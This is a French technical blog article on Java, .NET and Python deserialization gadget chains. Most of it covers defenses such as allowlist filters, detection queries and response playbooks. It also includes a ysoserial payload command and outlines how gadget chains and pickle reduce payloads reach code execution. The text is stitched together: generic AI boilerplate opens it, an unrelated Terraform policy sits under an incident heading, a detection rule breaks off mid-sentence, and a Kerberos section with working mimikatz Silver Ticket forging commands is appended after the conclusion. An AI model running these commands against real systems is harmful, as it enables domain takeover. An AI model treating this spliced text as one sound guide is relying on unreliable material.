Désérialisation et gadgets en | Guide Technique 2026

Cet article approfondit les dimensions techniques et strategiques de Désérialisation et gadgets en, en detaillant les architectures de reference, les bonnes pratiques d'implementation et les retours d'experience issus de deploiements en environnement de production. Les professionnels y trouveront des recommandations concretes pour evaluer, deployer et optimiser ces technologies dans le respect des contraintes de securite, de performance et de conformite propres aux systemes d'information modernes. L'analyse couvre egalement les perspectives d'evolution et les tendances emergentes qui faconneront le paysage technologique dans les mois a venir. L'adoption de l'intelligence artificielle dans les organisations necessite une approche structuree, combinant evaluation des besoins metier, selection des modeles adaptes et mise en place d'une gouvernance des donnees rigoureuse. Les retours d'experience montrent que les projets IA les plus reussis reposent sur une collaboration etroite entre les equipes techniques, les metiers et la direction, garantissant un alignement strategique et une adoption durable.

Cet article approfondit les dimensions techniques et strategiques de Désérialisation et gadgets en, en detaillant les architectures de reference, les bonnes pratiques d'implementation et les retours d'experience issus de deploiements en environnement de production. Les professionnels y trouveront des recommandations concretes pour evaluer, deployer et optimiser ces technologies dans le respect des contraintes de securite, de performance et de conformite propres aux systemes d'information modernes.

Résumé exécutif

Les vulnérabilités de désérialisation restent un vecteur majeur d’exécution de code et de compromission d’applications. Les frameworks Java, .NET et Python utilisent des mécanismes de sérialisation pour persister des objets ou échanger des données. Les attaquants forgent des charges utiles (gadget chains) qui, lors de la désérialisation, déclenchent des actions arbitraires (RCE, suppression, exfiltration). Cet article analyse les mécanismes de désérialisation, les familles de gadgets (Commons Collections, ysoserial, GadgetInspector, ysoserial.net, python Pickle), les scénarios d’exploitation, puis propose des stratégies de durcissement (whitelists, sandboxing, signed objects) et de détection (anomalies, instrumentation). L’objectif est d’équiper les équipes AppSec, DevSecOps et SOC. Cet article fournit une analyse technique approfondie et des recommandations pratiques pour les professionnels de la cybersecurite. Les concepts presentes sont issus de retours d'experience terrain et des meilleures pratiques du secteur. Les equipes techniques y trouveront des methodologies eprouvees, des outils recommandes et des strategies de mise en oeuvre adaptees aux environnements de production modernes. La maitrise de ces sujets est devenue incontournable dans le contexte actuel de menaces en constante evolution.

Comprendre la désérialisation

La désérialisation consiste à reconstruire un objet complexe à partir d’un flux binaire ou textuel (JSON, XML, binaire propre au langage). Lorsque le flux est contrôlé par un acteur externe, des objets inattendus peuvent être instanciés, exécutant du code via des readObject, reduce, ObjectDataProvider, etc.

Combien de vos contrôles de sécurité ont été testés en conditions réelles cette année ?

Java : mécanismes et gadgets

Sérialisation Java standard

• java.io.Serializable, readObject.
• ObjectInputStream désérialise en s’appuyant sur la classe fournie dans le flux.

Gadgets connus

• Apache Commons Collections (InvokerTransformer, ChainedTransformer).
• Spring Beans, Groovy, Jython.
• TemplatesImpl (JDK).
• ROME, C3P0.

Outils : ysoserial (java) génère des payloads.

Scénarios

• Application backend recevant cookie sérialisé.
• RMI/JMX exposés.
• JMS MQ.

.NET : BinaryFormatter & gadgets

Mécanismes

• BinaryFormatter, DataContractSerializer.
• ObjectStateFormatter, LosFormatter.

Gadgets

• ysoserial.net (ex : TypeConfuseDelegate, ActivitySurrogateSelector).
• TextFormattingRunProperties.

Scénarios : ViewState non signé, WCF, ASP.NET.

Python : Pickle et modules

• pickle.loads(), cPickle.
• reduce, setstate attributs.
• Bibliothèques : yaml.load (PyYAML), marshal.

Gadgets : classes personnalisées, os.system. Outils : pickletools, Python marshalsec.

Votre processus de patch management couvre-t-il l'ensemble de votre parc applicatif ?

Vecteurs d’exploitation

1. Entrées non validées : champs hidden, cookies, API. 2. Services réseau : RMI, WCF, gRPC. 3. Proxies : caches, message queues. 4. Viewstate (ASP.NET) sans MAC. Pour approfondir ce sujet, consultez notre article sur les techniques d'evasion de conteneurs Docker et Containerd.

Hardening et mitigations

Java

• ObjectInputFilter (JEP 290) : allowlist classes.
• SerializationFilterConfig via JDK.
• Kryo safe mode.
• Utiliser formats structurés (JSON) + validation.
• Gson (safe) ? attention.

.NET

• Éviter BinaryFormatter.
• Utiliser DataContractSerializer avec KnownTypes.
• ViewStateMAC + ViewStateEncryption.
• IsUnsafeBinaryFormatterInUse (FxCop analyzers).

Python

• Éviter pickle pour données non fiables.
• Utiliser json, simplejson, ast.literaleval.
• yaml.safeload.

Approches transverses

• Whitelist de classes.
• Signatures numériques.
• Sandboxing (process isolés).
• Rotation de clés (ViewState).
• Désactivation de la désérialisation par défaut (config).

Détection et monitoring

• Logs d’erreur (InvalidClassException).
• Traces Stack (Transformer).
• WAF signatures (payload rO0).
• SIEM correlation.
• Runtime instrumentation (Java Agent, APM).

ML / Anomalies

• Analyser distribution des classes désérialisées.
• Détecter chaines CommonsCollections.

Sandboxing

• Exécuter désérialisation dans sandbox (Java SecurityManager -> obsolète, alternatives).
• Process isolé (container).
• Limitations OS (seccomp).

Tests et outils offensifs

• ysoserial : java -jar ysoserial.jar CommonsCollections1 calc.
• ysoserial.net : BinaryFormatter.
• marshalsec.
• Burp Extensions (Java Serial Killer).

Programme de gestion des risques

1. Inventaire des points de désérialisation. 2. Priorisation risque (exposition). 3. Remédiation (changer format). 4. Monitoring.

Observabilité technique

• Ajouter instrumentation custom ObjectInputFilter.
• Osquery (process loaded).
• ETW (CLR events).

Response playbook

1. Détection (log/alert). 2. Identifier endpoint. 3. Isoler instance (contain). 4. Patcher code (disable deserial). 5. Investigate (forensic). 6. Communication. 7. Post mortem.

Case studies

• Equifax (2017) : Apache Struts OGNL (pas désérialisation mais similaire).
• Jenkins (2015) : RCE via Java remoting.
• PayPal (2019) : Python Pickle RCE.
• Adobe ColdFusion (BlazeDS).

DevSecOps & pipelines

• SAST rules (Semgrep).
• Dependency scanning (detect libs vuln).
• DAST (OWASP ZAP).

Questions frequemment posees

Conclusion

Analyse technique approfondie

Java : fonctionnement détaillé d’une chaîne gadget

1. L’attaquant forge un objet java.util.PriorityQueue contenant des InvokerTransformer (Commons Collections). 2. Lors de readObject, la priorité est recalculée, déclenchant transform(). 3. InvokerTransformer appelle Runtime.getRuntime().exec() avec la commande fournie. 4. RCE obtenue sur la JVM.

De nombreuses variantes existent (TemplatesImpl, BadAttributeValueExpException). Les payloads sont générés via ysoserial.

.NET : TypeConfuseDelegate

• Construit un SerializedStream contenant un DataSet manipulé.
• Utilise BinaryFormatter pour confondre Delegate.
• Exécute Process.Start.

Python : Pickle

• L’objet malveillant implémente reduce retournant un tuple avec fonction os.system et commande.
• pickle.loads exécute cette fonction.

XML External Entity (XXE) vs désérialisation

• Souvent combinés : XXE pour SSRF, puis désérialisation via SOAP.

Écosystème de gadgets

• GadgetInspector (java) pour détecter gadgets.
• Marshalsec (Markus Wulftange) -> set de gadgets.
• jmet (Java mass exploit tool).
• ysoserial.net & ysoevil.
• picklefinder (Python).

Inventaire et classification

• Documenter toutes les utilisations de sérialisation (langage, endpoint, format).
• Classer en externe (inbound) vs interne (safe).
• Prioriser durcissement sur externe.

Processus de migration vers formats sûrs

1. Identifier usages Serializable. 2. Remplacer par JSON, MessagePack ou Protobuf. 3. Ajouter validation schéma (JSON Schema). 4. Phase de compatibilité (versioning). 5. Désactiver sérialisation legacy.

Hardening avancé

• Java : désactiver sun.rmi.server.deserialization.checks=activation, com.sun.jndi.rmi.object.trustURLCodebase=false.
• Spring : DefaultListableBeanFactory.setSerializationId(null).
• .NET : AppContext.SetSwitch("Switch.System.Runtime.Serialization.EnableUnsafeTypes", false).
• Python : pickle -> RestrictedUnpickler.

Sandboxing techniques

• Exécuter désérialisation dans container avec seccomp, AppArmor.
• Limiter accès système (no network).
• Timeout & mémoire.

Detection au runtime

• Java Agent (Bytecode instrumentation) pour log readObject.
• Hook BinaryFormatter.Deserialize.
• Python : monkeypatch pickle.loads.

ML/Anomalie

• Collecter features : classe, taille, entropie, temps exécution.
• IsolationForest pour détecter objets suspects.

Logging & SIEM

• Logs DeserializationAttempt, inclure className, sourceIP, traceId.
• KQL :

ApplicationLogs
| where Message has "Deserialization" and SeverityLevel >= 2
| summarize count() by ClassName, bin(TimeGenerated, 1h)

Études de cas détaillées

1. Jenkins (CVE-2015-4852)

• Utilise ysoserial CommonsCollections1.
• Remédiation : update libs, JEP 290, patch.
• Leçons : patch rapide, WAF signatures.

2. WebLogic (CVE-2017-10271)

• JMS / T3 protocol.
• Exploit marshalsec -> T3.
• Oracle patch, restrict T3 port.

3. DotNetNuke (CVE-2017-9822)

• BinaryFormatter RCE.
• Correction : patch modules, viewstate MAC.

4. PayPal (2019)

• Python Pickle RCE via reduce.
• Fix: yaml.safeload.

DevSecOps pipeline détaillé

• CI: SAST (spot BinaryFormatter).
• Build: dependency scan (Snyk, OSSIndex).
• Stage: dynamic tests (Burp).
• Prod: runtime monitor.

WAF & RASP

• Signatures WAF (payload H4sI, rO0).
• RASP (Contrast Security) détecte désérialisation.

Automatisation audit code

• Semgrep rules: pattern: ObjectInputStream.
• CodeQL queries pour Java (path).
• .NET analyzer code CA2300.

Semgrep example

rules:

id: java-deserialization

  patterns:
    - pattern: |
        ObjectInputStream $OIS = new ObjectInputStream($X);
  message: "Avoid Java deserialisation of untrusted data"
  languages: [java]
  severity: ERROR

Architecture recommandations

• Séparer services consommateurs (zero trust).
• Minimiser les libs vulnérables.
• Secrets manager -> limites.

Observabilité APM

• New Relic, AppDynamics -> instrumentation Serialization.
• Alert on spikes.

Programmes bug bounty

• Prévoir récompenses pour désérialisation.
• Garder coverage.

Statistiques & KPI

• Nombre d’usage Serializable -> objectif 0.
• Temps de patch libs vuln.

Posture de défense

• Multi-couche : validation + sandbox + monitoring + reponse.
• Documenter résiduel (legacy).

Conformité

• Normes (CWE-502).
• ISO 27001 -> mesures A14 (Secure dev).

Roadmap

1. Audit complet usage sérialisation. 2. Mise en place ObjectInputFilter / replacements. 3. Monitoring runtime. 4. Migration vers formats sûrs.

Conclusion enrichie

Approfondissement par langage

Java : ecosystem

• Application servers vulnérables : WebLogic, WebSphere, JBoss, Jenkins, Liferay, Apache OFBiz.
• Protocols : JRMP, RMI, JMS, Spring remoting, Hessian.
• Common libs : commons-collections, commons-beanutils, spring-aop, groovy.
• JDK 8u121 introduit ObjectInputFilter.

.NET : ecosystem

• LosFormatter (ASP.NET controls).
• ObjectStateFormatter.
• DataSet.ReadXml.
• NetDataContractSerializer.
• ASP.NET ViewState-> use ViewStateUserKey, MAC.

Python : ecosystem

• Frameworks : Django (signed cookies), Flask (itsdangerous), Celery.
• PyYAML -> use safeload.
• msgpack -> strictmapkey.

Migration patterns

• Introduire un adaptateur Deserializer central.
• Deprecate legacy APIs.
• Provide output checks (schema).

Instrumentation & detection

Java agent example

public class DeserializationAgent {
  public static void premain(String args, Instrumentation inst) {
    inst.addTransformer((loader, className, classBeingRedefined, protectionDomain, classfileBuffer) -> {
      if ("java/io/ObjectInputStream".equals(className)) {
        // bytecode instrumentation to wrap readObject
      }
      return null;
    });
  }
}

.NET profiling

• Use Profiling API to intercept BinaryFormatter.Deserialize.
• Log call stack, size.

Python

• Override pickle.Unpickler.load to log class names.

Runtime policies

• Define Allowlist: java.util.ArrayList, com.company.dto..
• Deny org.apache.commons.collections.functors.InvokerTransformer.
• ObjectInputFilter syntax: maxdepth=10;java.util.;!org.apache.commons.collections..

Sandboxing example (Java)

• Run deserialization in separate process (commandline).
• Process with restricted permissions (no network).
• Return object via secure channel (JSON).

Logging best practices

• Log both allowed and blocked attempts.
• Include unique ID for correlation.
• Avoid logging entire payload (PII).

ML detection pipeline detail

• Feature: classname, package, size, timestamp, user.
• Encoding: one-hot for classes.
• Model: logistic regression; if predicted risk > threshold -> alert.

Playbook pour SOC

1. Reçoit alerte DeserializationBlocked. 2. Vérifie logs applicatifs. 3. Identifie utilisateur ou IP (peut être scanner). 4. Recherche tentatives multiples. 5. Escalade à AppSec si infiltration. Pour approfondir, consultez GCP Offensive Security : Exploitation des Services Google.

DevSecOps progression

• Sprint 1 : instrumentation logging.
• Sprint 2 : allowlist.
• Sprint 3 : migration.

CI/CD guardrails

• Pre-merge pipeline fails si Serializable nouvelles classes sans review.
• Custom lint rule.

Checklists par langage

Java

• [ ] Migrer vers ObjectInputFilter.
• [ ] Désactiver RMI si inutile.
• [ ] Patcher libs connues (Commons Collections >= 3.2.2).
• [ ] Config JNDI safe.

.NET

• [ ] BinaryFormatter interdit.
• [ ] ViewState signé.
• [ ] DataContract explicit KnownTypes.
• [ ] Patching .NET (MS KB).

Python

• [ ] pickle utilisé? -> restreindre.
• [ ] yaml.safeload.
• [ ] itsdangerous secrets rotate.
• [ ] Logging instrumented.

Rôle des architecture patterns

• Hexagonal architecture -> isolate serialization to adapters.
• DDD -> value objects -> easier to convert to JSON.

Data governance

• Document data flows reliant sur sérialisation.
• Evaluate risk (impact).

Memory forensics

• Si RCE suspect, dump heap (Java) -> jmap.
• Analyze for TemplatesImpl.

Response to zero-day

• Si nouvelle gadget chain, patch libs, update allowlist.
• Monitor vendor advisories.

Blue team hunts

• Search logs for BadAttributeValueExpException.
• Thread dumps with unusual classes.

Education & culture

• Brown bag sessions sur désérialisation.
• Security champions hack challenges.

Observabilité centralisée

• Use ELK to visualize trends.
• Dashboard: Deserialization events per app.

Example metrics report (quarterly)

• 0 nouveaux usages BinaryFormatter.
• 5 détections bloquées (scanner).
• 100% endpoints instrumentés.

Threat intel integration

• Subscribe to research (Alvaro Munoz).
• Track GitHub repos (ysoserial).

Tools for detection on dependencies

• jdeps to analyze classes.
• .NET ILSpy to inspect.
• pipdeptree for Python.

Security testing plan

• Pen test focus on serialization.
• Include in scope bug bounty.

Example timeline migration

• Month 1: inventory.
• Month 2: design.
• Month 3-6: implement wrappers.
• Month 7: retire legacy.

Integration with secrets

• Use Hash-based message authentication (HMAC) to sign serialized objects.
• Validate signature before deserializing.
• Manage keys securely.

Observability cloud

• AWS Lambda -> no serialization? still caution.
• For serverless, verify event data.

API Gateway filters

• Use filters to reject application/x-java-serialized-object.

RASP

• Runtime Application Self-Protection detect ObjectInputStream.
• Provide auto-block.

SRE & operations

• Monitor CPU spikes due to deserialization attack.
• Autoscaling may hide attack -> instrumentation necessary.

Business impact analysis

• Evaluate data accessible via RCE.
• Document potential regulatory fines.

Culture of transparency

• Share near misses.
• Encourage reporting.

Final reworded conclusion

Annexes techniques et exemples

Exemple complet d’ObjectInputFilter

ObjectInputFilter filter = info -> {
    if (info.depth() > 5) return Status.REJECT;
    Class<?> clazz = info.serialClass();
    if (clazz != null) {
        String name = clazz.getName();
        if (name.startsWith("java.util") || name.startsWith("com.myapp.dto")) {
            return Status.ALLOWED;
        }
        return Status.REJECT;
    }
    return Status.UNDECIDED;
};
ObjectInputStream ois = new ObjectInputStream(input);
ois.setObjectInputFilter(filter);

.NET substitut sécurisé

var settings = new DataContractSerializerSettings
{
    KnownTypes = new[] { typeof(MyDto) },
    PreserveObjectReferences = false
};
var serializer = new DataContractSerializer(typeof(MyDto), settings);

Python RestrictedUnpickler

import pickle
class RestrictedUnpickler(pickle.Unpickler):
    allowed = {'builtin': {'set'}}
    def findclass(self, module, name):
        if module in self.allowed and name in self.allowed[module]:
            return getattr(import(module), name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def loads(data):
    return RestrictedUnpickler(io.BytesIO(data)).load()

Table d’impact par vecteur

| Vecteur | Impact potentiel | Observabilité | Mitigation | |---------|------------------|---------------|------------| | Java Serializable | RCE, pivot | Logs, instrumentation | ObjectInputFilter, migration JSON | | .NET BinaryFormatter | RCE, credential theft | Event Tracing (.NET) | Interdiction, DataContract | | Python pickle | RCE | Audit custom | safeload, JSON | | YAML load | RCE/SSRF | Logs web | yaml.safeload | | ViewState unsigned | RCE | IIS logs | ViewState MAC |

Machine learning : pipeline complet

1. Collecte : logs temps réel via Kafka (deserializationevents). 2. Feature engineering : - classnamehash - payloadsize - durationms - callstacksignature 3. Model : RandomForestClassifier. 4. Training : dataset labellisé (true positive = exploitation). 5. Validation : cross validation, F1 > 0.9. 6. Déploiement : scoring en streaming (Flink). 7. Feedback loop : analystes reclassifient (active learning).

Observabilité / Dashboards

• grafana panel : deserializationattemptstotal.
• heatmap classes vs count.
• alert si classe bannie détectée.

Processus de revue sécurité

• Code review checklists incluent "pas de désérialisation non validée".
• Security champions valident.

Table top exercice

• Scénario : exploitation via cookie Java.
• Participants : Dev, Ops, Sec, Legal.
• Objectifs : temps de detection, communication.

Programmes de formation

• Modules e-learning (30 min).
• Workshop live-coding (safe wrappers).

Document de sensibilisation

• Poster "Do not use pickle on untrusted data".
• Docs Confluence.

Use cases SIEM (KQL)

AppTraces
| where Message has "Deserialization attempt" and Level == "Warning"
| extend Class=extract("class=(.+?)", 1, Message)
| summarize count() by Class, bin(TimeGenerated, 1d)

DLP / compliance impact

• Deserial exploit -> data exfil -> RGPD violation.
• Document impact, plan réponse.

Integration with bug bounty triage

• Provide guidelines to hackers (safe endpoints).
• Response template (ack, fix timeline).

Observabilité VM

• Use eBPF to monitor execve triggered by java.

Hardening frameworks

• Spring Boot 2.7+ : Jackson DeserializationFeature.FAILONUNKNOWNPROPERTIES.
• .NET : System.Text.Json.
• Python : pydantic for validation.

Performance considerations

• Allowlist check must be performant (hash set).
• Logging asynchronous.

Testing plan

• Unit tests verifying block of unauthorized class.
• Integration tests with malicious payload.

Tools open source detection

• Serianalyzer (Java).
• weggli for C# patterns.

Legacy systems

• Mainframe integration -> custom binary. Document & protect network.

Observabilité cloud-native

• Container runtime (Falco) -> detect java -jar ysoserial.
• AWS CloudWatch MetricFilters.

Threat intel feed mapping

• Feed IOCs for known payload (hash).
• Alert on known patterns.

Maturity model

| Niveau | Caractéristiques | |--------|------------------| | 1 | Inventaire partiel, détection manuelle | | 2 | Allowlist déployée, logs centralisés | | 3 | Automatisation (pipelines), runtime instrumentation | | 4 | ML detection, sandboxing, zero trust serialization |

Collaboration inter-équipes

• AppSec : guidelines, audits.
• Architecture : design pattern safe.
• SRE : monitoring.
• SOC : detection, IR.
• Compliance : reporting.

Data retention & legal

• Conserver logs (1 an).
• Respecter anonymisation (GDPR).

Budget & ROI

• Investir dans migration -> réduire risque d’amende, coût incident.

Roadmap 12 mois (exemple)

• Q1 : inventaire, instrumentation.
• Q2 : allowlist, remédiation critique.
• Q3 : migration formats, tests red team.
• Q4 : ML detection, documentation, audit.

Future tendances

• Adoption languages memory-safe (Rust) -> alternative.
• Sandboxing OS (gVisor).
• SAST plus intelligent.

Conclusion finale

Annexes supplémentaires

Exemple d’analyse d’un payload rO0

1. Décoder Base64 (base64 -d). 2. Utiliser SerializationDumper pour inspecter classes. 3. Vérifier présence de CommonsCollections. 4. Identifier commande.

Procédure forensic

• Collecter heap dump (jmap -dump), thread dump.
• Analyser via Eclipse MAT.
• Vérifier nouveaux fichiers, connexions réseau.

Indicators of Compromise (IoC)

• Chaînes rO0AB, H4sI.
• Process java spawn cmd.exe.
• HTTP header Content-Type: application/x-java-serialized-object.

SIEM correlation

• Rule: If payload contains

Annexes complémentaires (suite)

Métriques pour suivi du programme

• # de composants sérialisants retirés par trimestre.
• # d’incidents ou de tentatives détectées.
• Temps moyen entre detection et correction.
• Couverture instrumentation (%).

Visualisations recommandées

• Diagramme Sankey : flux d’un payload malveillant depuis l’entrée jusqu’à l’exécution.
• Heatmap : services vs volume de désérialisations.
• Courbe cumulative : réduction usages Serializable.

Mécanismes de signature

• Utiliser HMAC (SHA-256) sur payload + timestamp.
• Stockage clé dans HSM.
• Validation côté serveur avant désérialisation.
• Ajouter expiration (anti replays).

Intégration Zero Trust

• Chaque service authentifie et autorise l’émetteur avant d’accepter flux.
• Principes de moindre privilège pour tokens.

Plans de migration progressive

• Mode "dual" : supporter JSON et binaire (transition).
• KPI : % clients migrés.

Collaboration avec QA

• Ajouter tests automatisés (payloads malicieux).
• QA doit vérifier logs.

Architecture de monitoring centralisé

• Agents (Java/.NET/Python) -> Fluent Bit -> Kafka -> SIEM.
• Alerting via SOAR.

Scénario incident complet

import "tfplan/v2" as tfplan

main = rule {
  all tfplan.resourcechanges as , rc {
    rc.type != "awsinstance" or
    rc.change.after.metadataoptions.http_tokens == "required"
  }
}
 Pour approfondir, consultez Supply-chain applicative (typosquatting, dependency.

Phrase finale

Prévenir la désérialisation malveillante et l’exploitation de gadgets demande une vigilance constante, une automatisation intelligente et une culture d’amélioration continue. En alignant technologie, processus et humains, les organisations transforment ce risque en opportunité de renforcer leur maturité AppSec.

La sécurité applicative n’est jamais statique : continuez à mesurer, tester, former et collaborer pour que chaque évolution réduise encore davantage la surface d’exposition aux gadgets de désérialisation. Partager les leçons apprises avec la communauté, surveiller les nouvelles chaînes gadgets et investir dans des outils de détection proactifs aidera à conserver cet avantage défensif. Renforcez vos pipelines, observez les signaux faibles, ajustez vos politiques et restez prêts à réagir : la résilience face aux gadgets de désérialisation se construit jour après jour. Toujours analyser, toujours corriger, toujours progresser. Toujours résilient. Pérennité.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

Copyright Ayi NEDJIMI Consultants